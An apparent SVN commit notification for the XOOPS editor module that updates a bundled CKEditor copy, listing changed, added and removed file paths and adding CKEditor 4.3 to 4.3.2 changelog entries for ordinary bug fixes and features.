ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/confighelper/docs/install.html
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/dialog/dialogDefinition.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/div/dialogs/div.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/docprops/dialogs/docprops.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/find/dialogs/find.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/flash/dialogs/flash.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/forms/dialogs/button.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/forms/dialogs/checkbox.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/forms/dialogs/form.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/forms/dialogs/hiddenfield.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/forms/dialogs/radio.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/forms/dialogs/select.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/forms/dialogs/textarea.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/forms/dialogs/textfield.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/iframe/dialogs/iframe.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/image/dialogs/image.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/link/dialogs/anchor.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/link/dialogs/link.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/liststyle/dialogs/liststyle.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/pastefromword/filter/default.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/placeholder/dialogs/placeholder.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/scayt/dialogs/options.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/dialogs/smiley.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/angel_smile.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/angry_smile.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/broken_heart.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/confused_smile.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/cry_smile.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/devil_smile.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/embaressed_smile.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/embarrassed_smile.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/envelope.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/heart.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/kiss.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/lightbulb.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/omg_smile.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/regular_smile.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/sad_smile.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/shades_smile.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/teeth_smile.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/thumbs_down.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/thumbs_up.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/tongue_smile.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/tounge_smile.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/whatchutalkingabout_smile.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/wink_smile.gif
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/specialchar/dialogs/lang/_translationstatus.txt
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/specialchar/dialogs/lang/en.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/specialchar/dialogs/specialchar.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/table/dialogs/table.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/tabletools/dialogs/tableCell.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/templates/dialogs/templates.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/templates/dialogs/templates.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/templates/templates/default.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/uicolor/dialogs/uicolor.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/wsc/dialogs/wsc.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/kama/dialog.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/kama/dialog_ie.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/kama/dialog_ie7.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/kama/dialog_ie8.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/kama/dialog_iequirks.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/kama/dialog_opera.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/kama/editor.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/kama/editor_ie.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/kama/editor_ie7.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/kama/editor_ie8.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/kama/editor_iequirks.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/kama/readme.md
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/moono/dialog.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/moono/dialog_ie.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/moono/dialog_ie7.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/moono/dialog_ie8.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/moono/dialog_iequirks.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/moono/dialog_opera.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/moono/editor.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/moono/editor_gecko.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/moono/editor_ie.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/moono/editor_ie7.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/moono/editor_ie8.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/moono/editor_iequirks.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/skins/moono/readme.md
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/styles.js
Added Paths:
-----------
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/build-config.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/js/codemirror.addons.search.min.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/js/codemirror.mode.htmlmixed.min.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/js/codemirror.mode.javascript.min.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/js/codemirror.mode.php.min.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/3024-day.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/3024-night.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/base16-dark.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/base16-light.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/mbo.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/paraiso-dark.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/paraiso-light.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/the-matrix.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/tomorrow-night-eighties.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/angel_smile.png
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/angry_smile.png
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/broken_heart.png
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/confused_smile.png
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/cry_smile.png
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/devil_smile.png
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/embarrassed_smile.png
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/envelope.png
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/heart.png
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/kiss.png
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/lightbulb.png
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/omg_smile.png
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/regular_smile.png
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/sad_smile.png
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/shades_smile.png
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/teeth_smile.png
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/thumbs_down.png
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/thumbs_up.png
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/tongue_smile.png
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/whatchutalkingabout_smile.png
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/smiley/images/wink_smile.png
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/wsc/dialogs/tmp.html
Removed Paths:
-------------
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/css/codemirror.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/css/sourcecodepro-regular.eot
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/css/sourcecodepro-regular.otf
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/css/sourcecodepro-regular.svg
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/css/sourcecodepro-regular.ttf
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/css/sourcecodepro-regular.woff
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/js/codemirror.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/js/codemirror.modes.min.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/js/codemirror.search-addons.min.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/js/css.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/js/htmlmixed.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/js/javascript.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/js/util/
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/js/xml.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/index.html
Modified: ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/CHANGES.md
===================================================================
--- ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/CHANGES.md 2014-02-10 01:29:21 UTC (rev 12293)
+++ ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/CHANGES.md 2014-02-10 03:03:48 UTC (rev 12294)
@@ -1,6 +1,187 @@
CKEditor 4 Changelog
====================
+## CKEditor 4.3.2
+
+* [#11331](http://dev.ckeditor.com/ticket/11331): A menu button will have a changed label when selected instead of using the `aria-pressed` attribute.
+* [#11177](http://dev.ckeditor.com/ticket/11177): Widget drag handler improvements:
+ * [#11176](http://dev.ckeditor.com/ticket/11176): Fixed: Initial position is not updated when the widget data object is empty.
+ * [#11001](http://dev.ckeditor.com/ticket/11001): Fixed: Multiple synchronous layout recalculations are caused by initial drag handler positioning causing performance issues.
+ * [#11161](http://dev.ckeditor.com/ticket/11161): Fixed: Drag handler is not repositioned in various situations.
+ * [#11281](http://dev.ckeditor.com/ticket/11281): Fixed: Drag handler and mask are duplicated after widget reinitialization.
+* [#11207](http://dev.ckeditor.com/ticket/11207): [Firefox] Fixed: Misplaced [Enhanced Image](http://ckeditor.com/addon/image2) resizer in the inline editor.
+* [#11102](http://dev.ckeditor.com/ticket/11102): `CKEDITOR.template` improvements:
+ * [#11102](http://dev.ckeditor.com/ticket/11102): Added newline character support.
+ * [#11216](http://dev.ckeditor.com/ticket/11216): Added "\\'" substring support.
+* [#11121](http://dev.ckeditor.com/ticket/11121): [Firefox] Fixed: High Contrast mode is enabled when the editor is loaded in a hidden iframe.
+* [#11350](http://dev.ckeditor.com/ticket/11350): The default value of [`config.contentsCss`](http://docs.ckeditor.com/#!/api/CKEDITOR.config-cfg-contentsCss) is affected by [`CKEDITOR.getUrl`](http://docs.ckeditor.com/#!/api/CKEDITOR-method-getUrl).
+* [#11097](http://dev.ckeditor.com/ticket/11097): Improved the [Autogrow](http://ckeditor.com/addon/autogrow) plugin performance when dealing with very big tables.
+* [#11290](http://dev.ckeditor.com/ticket/11290): Removed redundant code in the [Source Dialog](http://ckeditor.com/addon/sourcedialog) plugin.
+* [#11133](http://dev.ckeditor.com/ticket/11133): [Page Break](http://ckeditor.com/addon/pagebreak) becomes editable if pasted.
+* [#11126](http://dev.ckeditor.com/ticket/11126): Fixed: Native Undo executed once the bottom of the snapshot stack is reached.
+* [#11131](http://dev.ckeditor.com/ticket/11131): [Div Editing Area](http://ckeditor.com/addon/divarea): Fixed: Error thrown when switching to source mode if the selection was in widget's nested editable.
+* [#11139](http://dev.ckeditor.com/ticket/11139): [Div Editing Area](http://ckeditor.com/addon/divarea): Fixed: Elements Path is not cleared after switching to source mode.
+* [#10778](http://dev.ckeditor.com/ticket/10778): Fixed a bug with range enlargement. The range no longer expands to visible whitespace.
+* [#11146](http://dev.ckeditor.com/ticket/11146): [IE] Fixed: Preview window switches Internet Explorer to Quirks Mode.
+* [#10762](http://dev.ckeditor.com/ticket/10762): [IE] Fixed: JavaScript code displayed in preview window's URL bar.
+* [#11186](http://dev.ckeditor.com/ticket/11186): Introduced the [`widgets.repository.addUpcastCallback`](http://docs.ckeditor.com/#!/api/CKEDITOR.plugins.widget.repository-method-addUpcastCallback) method that allows to block upcasting given element to a widget.
+* [#11307](http://dev.ckeditor.com/ticket/11307): Fixed: Paste as Plain Text conflict with the [MooTools](http://mootools.net) library.
+* [#11140](http://dev.ckeditor.com/ticket/11140): [IE11] Fixed: Anchors are not draggable.
+* [#11379](http://dev.ckeditor.com/ticket/11379): Changed default contents `line-height` to unitless values to avoid huge text overlapping (like in [#9696](http://dev.ckeditor.com/ticket/9696)).
+* [#10787](http://dev.ckeditor.com/ticket/10787): [Firefox] Fixed: Broken replacement of text while pasting into `div`-based editor.
+* [#10884](http://dev.ckeditor.com/ticket/10884): Widgets integration with the [Show Blocks](http://ckeditor.com/addon/showblocks) plugin.
+* [#11021](http://dev.ckeditor.com/ticket/11021): Fixed: An error thrown when selecting entire editable contents while fake selection is on.
+* [#11086](http://dev.ckeditor.com/ticket/11086): [IE8] Re-enable inline widgets drag&drop in Internet Explorer 8.
+* [#11372](http://dev.ckeditor.com/ticket/11372): Widgets: Special characters encoded twice in nested editables.
+* [#10068](http://dev.ckeditor.com/ticket/10068): Fixed: Support for protocol-relative URLs.
+* [#11283](http://dev.ckeditor.com/ticket/11283): [Enhanced Image](http://ckeditor.com/addon/image2): A `<div>` element with `text-align: center` and an image inside is not recognised correctly.
+* [#11196](http://dev.ckeditor.com/ticket/11196): [Accessibility Instructions](http://ckeditor.com/addon/a11yhelp): Allowed additional keyboard button labels to be translated in the dialog window.
+
+## CKEditor 4.3.1
+
+**Important Notes:**
+
+* To match the naming convention, the `language` button is now `Language` ([#11201](http://dev.ckeditor.com/ticket/11201)).
+* [Enhanced Image](http://ckeditor.com/addon/image2) button, context menu, command, and icon names match those of the [Image](http://ckeditor.com/addon/image) plugin ([#11222](http://dev.ckeditor.com/ticket/11222)).
+
+Fixed Issues:
+
+* [#11244](http://dev.ckeditor.com/ticket/11244): Changed: The [`widget.repository.checkWidgets()`](http://docs.ckeditor.com/#!/api/CKEDITOR.plugins.widget.repository-method-checkWidgets) method now fires the [`widget.repository.checkWidgets`](http://docs.ckeditor.com/#!/api/CKEDITOR.plugins.widget.repository-event-checkWidgets) event, so from CKEditor 4.3.1 it is preferred to use the method rather than fire the event.
+* [#11171](http://dev.ckeditor.com/ticket/11171): Fixed: [`editor.insertElement()`](http://docs.ckeditor.com/#!/api/CKEDITOR.editor-method-insertElement) and [`editor.insertText()`](http://docs.ckeditor.com/#!/api/CKEDITOR.editor-method-insertText) methods do not call the [`widget.repository.checkWidgets()`](http://docs.ckeditor.com/#!/api/CKEDITOR.plugins.widget.repository-method-checkWidgets) method.
+* [#11085](http://dev.ckeditor.com/ticket/11085): [IE8] Replaced preview generated by the [Mathematical Formulas](http://ckeditor.com/addon/mathjax) widget with a placeholder.
+* [#11044](http://dev.ckeditor.com/ticket/11044): Enhanced WAI-ARIA support for the [Language](http://ckeditor.com/addon/language) plugin drop-down menu.
+* [#11075](http://dev.ckeditor.com/ticket/11075): With drop-down menu button focused, pressing the *Down Arrow* key will now open the menu and focus its first option.
+* [#11165](http://dev.ckeditor.com/ticket/11165): Fixed: The [File Browser](http://ckeditor.com/addon/filebrowser) plugin cannot be removed from the editor.
+* [#11159](http://dev.ckeditor.com/ticket/11159): [IE9-10] [Enhanced Image](http://ckeditor.com/addon/image2): Fixed buggy discovery of image dimensions.
+* [#11101](http://dev.ckeditor.com/ticket/11101): Drop-down lists no longer break when given double quotes.
+* [#11077](http://dev.ckeditor.com/ticket/11077): [Enhanced Image](http://ckeditor.com/addon/image2): Empty undo step recorded when resizing the image.
+* [#10853](http://dev.ckeditor.com/ticket/10853): [Enhanced Image](http://ckeditor.com/addon/image2): Widget has paragraph wrapper when de-captioning unaligned image.
+* [#11198](http://dev.ckeditor.com/ticket/11198): Widgets: Drag handler is not fully visible when an inline widget is in a heading.
+* [#11132](http://dev.ckeditor.com/ticket/11132): [Firefox] Fixed: Caret is lost after drag and drop of an inline widget.
+* [#11182](http://dev.ckeditor.com/ticket/11182): [IE10-11] Fixed: Editor crashes (IE11) or works with minor issues (IE10) if a page is loaded in Quirks Mode. See [`env.quirks`](http://docs.ckeditor.com/#!/api/CKEDITOR.env-property-quirks) for more details.
+* [#11204](http://dev.ckeditor.com/ticket/11204): Added `figure` and `figcaption` styles to the `contents.css` file so [Enhanced Image](http://ckeditor.com/addon/image2) looks nicer.
+* [#11202](http://dev.ckeditor.com/ticket/11202): Fixed: No newline in [BBCode](http://ckeditor.com/addon/bbcode) mode.
+* [#10890](http://dev.ckeditor.com/ticket/10890): Fixed: Error thrown when pressing the *Delete* key in a list item.
+* [#10055](http://dev.ckeditor.com/ticket/10055): [IE8-10] Fixed: *Delete* pressed on a selected image causes the browser to go back.
+* [#11183](http://dev.ckeditor.com/ticket/11183): Fixed: Inserting a horizontal rule or a table in multiple row selection causes a browser crash. Additionally, the [`editor.insertElement()`](http://docs.ckeditor.com/#!/api/CKEDITOR.editor-method-insertElement) method does not insert the element into every range of a selection any more.
+* [#11042](http://dev.ckeditor.com/ticket/11042): Fixed: Selection made on an element containing a non-editable element was not auto faked.
+* [#11125](http://dev.ckeditor.com/ticket/11125): Fixed: Keyboard navigation through menu and drop-down items will now cycle.
+* [#11011](http://dev.ckeditor.com/ticket/11011): Fixed: The [`editor.applyStyle()`](http://docs.ckeditor.com/#!/api/CKEDITOR.editor-method-applyStyle) method removes attributes from nested elements.
+* [#11179](http://dev.ckeditor.com/ticket/11179): Fixed: [`editor.destroy()`](http://docs.ckeditor.com/#!/api/CKEDITOR.editor-method-destroy) does not cleanup content generated by the [Table Resize](http://ckeditor.com/addon/tableresize) plugin for inline editors.
+* [#11237](http://dev.ckeditor.com/ticket/11237): Fixed: Table border attribute value is deleted when pasting content from Microsoft Word.
+* [#11250](http://dev.ckeditor.com/ticket/11250): Fixed: HTML entities inside the `<textarea>` element are not encoded.
+* [#11260](http://dev.ckeditor.com/ticket/11260): Fixed: Initially disabled buttons are not read by JAWS as disabled.
+* [#11200](http://dev.ckeditor.com/ticket/11200): Added [Clipboard](http://ckeditor.com/addon/clipboard) plugin as a dependency for [Widget](http://ckeditor.com/addon/widget) to fix drag and drop.
+
+## CKEditor 4.3
+
+New Features:
+
+* [#10612](http://dev.ckeditor.com/ticket/10612): Internet Explorer 11 support.
+* [#10869](http://dev.ckeditor.com/ticket/10869): Widgets: Added better integration with the [Elements Path](http://ckeditor.com/addon/elementspath) plugin.
+* [#10886](http://dev.ckeditor.com/ticket/10886): Widgets: Added tooltip to the drag handle.
+* [#10933](http://dev.ckeditor.com/ticket/10933): Widgets: Introduced drag and drop of block widgets with the [Line Utilities](http://ckeditor.com/addon/lineutils) plugin.
+* [#10936](http://dev.ckeditor.com/ticket/10936): Widget System changes for easier integration with other dialog systems.
+* [#10895](http://dev.ckeditor.com/ticket/10895): [Enhanced Image](http://ckeditor.com/addon/image2): Added file browser integration.
+* [#11002](http://dev.ckeditor.com/ticket/11002): Added the [`draggable`](http://docs.ckeditor.com/#!/api/CKEDITOR.plugins.widget.definition-property-draggable) option to disable drag and drop support for widgets.
+* [#10937](http://dev.ckeditor.com/ticket/10937): [Mathematical Formulas](http://ckeditor.com/addon/mathjax) widget improvements:
+ * loading indicator ([#10948](http://dev.ckeditor.com/ticket/10948)),
+ * applying paragraph changes (like font color change) to iframe ([#10841](http://dev.ckeditor.com/ticket/10841)),
+ * Firefox and IE9 clipboard fixes ([#10857](http://dev.ckeditor.com/ticket/10857)),
+ * fixing same origin policy issue ([#10840](http://dev.ckeditor.com/ticket/10840)),
+ * fixing undo bugs ([#10842](http://dev.ckeditor.com/ticket/10842), [#10930](http://dev.ckeditor.com/ticket/10930)),
+ * fixing other minor bugs.
+* [#10862](http://dev.ckeditor.com/ticket/10862): [Placeholder](http://ckeditor.com/addon/placeholder) plugin was rewritten as a widget.
+* [#10822](http://dev.ckeditor.com/ticket/10822): Added styles system integration with non-editable elements (for example widgets) and their nested editables. Styles cannot change non-editable content and are applied in nested editable only if allowed by its type and content filter.
+* [#10856](http://dev.ckeditor.com/ticket/10856): Menu buttons will now toggle the visibility of their panels when clicked multiple times. [Language](http://ckeditor.com/addon/language) plugin fixes: Added active language highlighting, added an option to remove the language.
+* [#10028](http://dev.ckeditor.com/ticket/10028): New [`config.dialog_noConfirmCancel`](http://docs.ckeditor.com/#!/api/CKEDITOR.config-cfg-dialog_noConfirmCancel) configuration option that eliminates the need to confirm closing of a dialog window when the user changed any of its fields.
+* [#10848](http://dev.ckeditor.com/ticket/10848): Integrate remaining plugins ([Styles](http://ckeditor.com/addon/stylescombo), [Format](http://ckeditor.com/addon/format), [Font](http://ckeditor.com/addon/font), [Color Button](http://ckeditor.com/addon/colorbutton), [Language](http://ckeditor.com/addon/language) and [Indent](http://ckeditor.com/addon/indent)) with [active filter](http://docs.ckeditor.com/#!/api/CKEDITOR.editor-property-activeFilter).
+* [#10855](http://dev.ckeditor.com/ticket/10855): Change the extension of emoticons in the [BBCode](http://ckeditor.com/addon/bbcode) sample from GIF to PNG.
+
+Fixed Issues:
+
+* [#10831](http://dev.ckeditor.com/ticket/10831): [Enhanced Image](http://ckeditor.com/addon/image2): Merged `image2inline` and `image2block` into one `image2` widget.
+* [#10835](http://dev.ckeditor.com/ticket/10835): [Enhanced Image](http://ckeditor.com/addon/image2): Improved visibility of the resize handle.
+* [#10836](http://dev.ckeditor.com/ticket/10836): [Enhanced Image](http://ckeditor.com/addon/image2): Preserve custom mouse cursor while resizing the image.
+* [#10939](http://dev.ckeditor.com/ticket/10939): [Firefox] [Enhanced Image](http://ckeditor.com/addon/image2): hovering the image causes it to change.
+* [#10866](http://dev.ckeditor.com/ticket/10866): Fixed: Broken *Tab* key navigation in the [Enhanced Image](http://ckeditor.com/addon/image2) dialog window.
+* [#10833](http://dev.ckeditor.com/ticket/10833): Fixed: *Lock ratio* option should be on by default in the [Enhanced Image](http://ckeditor.com/addon/image2) dialog window.
